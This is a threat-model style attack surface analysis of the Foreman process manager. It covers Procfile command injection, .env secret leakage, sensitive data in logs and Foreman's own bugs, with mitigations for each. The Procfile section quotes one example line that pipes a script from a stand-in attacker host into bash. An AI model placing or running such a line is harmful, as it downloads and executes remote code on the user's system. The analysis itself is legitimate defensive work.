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attack-surface.md

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Attack Surface Analysis for ddollar/foreman

Attack Surface: Procfile Command Injection (Critical)

  • Description: Attackers inject malicious commands into the Procfile which are then executed by Foreman when starting or restarting processes.
  • Foreman Contribution: Foreman directly parses and executes commands defined in the Procfile. If the Procfile is compromised, Foreman will execute the attacker's commands, leading to immediate code execution.
  • Example: A developer's machine is compromised, and an attacker modifies the Procfile to include: web: bash -c 'curl attacker.com/malicious_script | bash && ./my_web_app'. When Foreman starts the web process, it will download and execute the malicious script before starting the intended web application.
  • Impact: Full system compromise, data exfiltration, denial of service, arbitrary code execution with the privileges of the user running Foreman.
  • Risk Severity: Critical
  • Mitigation Strategies:
    • Secure Procfile Management: Implement strict access control to the Procfile to prevent unauthorized modifications.
    • Version Control & Monitoring: Store Procfile in version control and actively monitor for unauthorized changes and commit history.
    • Code Review Process: Mandate code reviews for all Procfile changes to catch potentially malicious or unintended commands.
    • Immutable Infrastructure Deployment: Deploy Procfile as part of an immutable infrastructure pipeline to prevent runtime modifications on the server.
    • Principle of Least Privilege: Run Foreman and application processes with the minimum necessary privileges to limit the blast radius of command injection.

Attack Surface: .env File Sensitive Information Exposure (High)

  • Description: Sensitive information (API keys, database credentials, secrets) stored in .env files is exposed due to insecure handling or accidental disclosure, often facilitated by Foreman's common usage of .env files.
  • Foreman Contribution: Foreman's design encourages the use of .env files for environment variable loading, making it a central point for managing sensitive configuration. Improper handling of these files directly leads to potential exposure when using Foreman in this manner.
  • Example: A developer mistakenly commits a .env file containing database credentials to a public GitHub repository. Attackers discover the repository, access the .env file, and gain unauthorized access to the application's database.
  • Impact: Leakage of sensitive credentials, unauthorized access to databases, APIs, or other services, potentially leading to data breaches, financial loss, and service disruption.
  • Risk Severity: High
  • Mitigation Strategies:
    • Strictly Avoid Committing .env Files: Add .env to .gitignore and rigorously enforce policies to prevent accidental commits to version control.
    • Utilize Secure Secret Management: Transition away from .env files for sensitive credentials, especially in production. Implement secure secret management solutions (e.g., HashiCorp Vault, AWS Secrets Manager, environment variables directly injected into the deployment environment).
    • Environment Variables in Deployment Configuration: Configure environment variables directly within the deployment environment (e.g., using platform-specific configuration, container orchestration secrets management) instead of relying on .env files in production systems.
    • Restrict File Permissions (Non-Production): If .env files are used in non-production environments, ensure they have highly restrictive file permissions (e.g., readable only by the user running Foreman and necessary processes).

Attack Surface: Foreman Log Exposure of Sensitive Information (High)

  • Description: Sensitive information inadvertently logged by application processes is exposed through Foreman's aggregated logs if log access is not properly secured. Foreman's log aggregation becomes a direct pathway for information leakage.
  • Foreman Contribution: Foreman aggregates and centralizes logs from all managed processes. This centralized logging, while beneficial for monitoring, becomes a vulnerability if sensitive data is logged and log access is not strictly controlled. Foreman's design directly contributes to this centralized point of potential exposure.
  • Example: An application process, when encountering an error, logs a user's password or an API response containing a sensitive token to standard output. Foreman captures these logs and writes them to log files. If these log files are accessible to unauthorized users or stored insecurely, the sensitive information is exposed through Foreman's logging mechanism.
  • Impact: Leakage of sensitive information, potentially leading to unauthorized access, identity theft, or further attacks leveraging the exposed credentials or data.
  • Risk Severity: High
  • Mitigation Strategies:
    • Implement Secure Logging Practices in Application Code: Proactively implement secure logging practices within the application code itself. Avoid logging sensitive information altogether. Sanitize or redact any potentially sensitive data before it is logged.
    • Robust Log Access Control: Implement strong access control mechanisms for Foreman logs and any systems where logs are aggregated or stored. Restrict access to only authorized personnel and systems.
    • Log Rotation and Retention Policies: Implement and enforce appropriate log rotation and retention policies to minimize the time window during which sensitive information might be exposed in logs.
    • Regular Log Audits: Conduct regular audits of application logs and Foreman logs to identify and rectify instances of unintentional sensitive data logging.

Attack Surface: Foreman Software Vulnerabilities (Potentially High to Critical)

  • Description: Vulnerabilities within Foreman's own codebase can be exploited by attackers to compromise the system running Foreman and potentially the managed applications. The severity depends on the nature of the vulnerability.
  • Foreman Contribution: As the process manager and a running application, Foreman's security directly impacts the overall system security. Vulnerabilities in Foreman's code provide a direct attack vector into the system it is managing.
  • Example: A hypothetical vulnerability in Foreman's process management logic (e.g., signal handling, input parsing) allows an attacker to achieve remote code execution on the server running Foreman by sending specially crafted signals or input.
  • Impact: Denial of service of Foreman and managed applications, remote code execution on the system running Foreman, potential privilege escalation, and compromise of managed applications depending on the specific vulnerability and exploit.
  • Risk Severity: Potentially High to Critical (Severity is vulnerability-dependent; RCE vulnerabilities would be Critical, DoS or information disclosure might be High).
  • Mitigation Strategies:
    • Maintain Up-to-Date Foreman Version: Prioritize keeping Foreman updated to the latest stable version. Regularly check for and apply security patches and updates released by the Foreman project.
    • Subscribe to Security Advisories: Subscribe to security mailing lists or monitoring services related to Foreman to be promptly informed of any reported vulnerabilities and recommended mitigations.
    • Security Audits and Penetration Testing (For Critical Deployments): For highly critical deployments, consider periodic security audits and penetration testing specifically targeting the Foreman instance and its interactions with managed applications.
    • Principle of Least Privilege for Foreman: Run the Foreman process itself with the minimum necessary privileges required for its operation. Avoid running Foreman as root unless absolutely necessary and understand the security implications.
    • Network Segmentation and Isolation: Deploy Foreman and the managed applications within a segmented and isolated network environment to limit the potential impact of a compromise of the Foreman instance.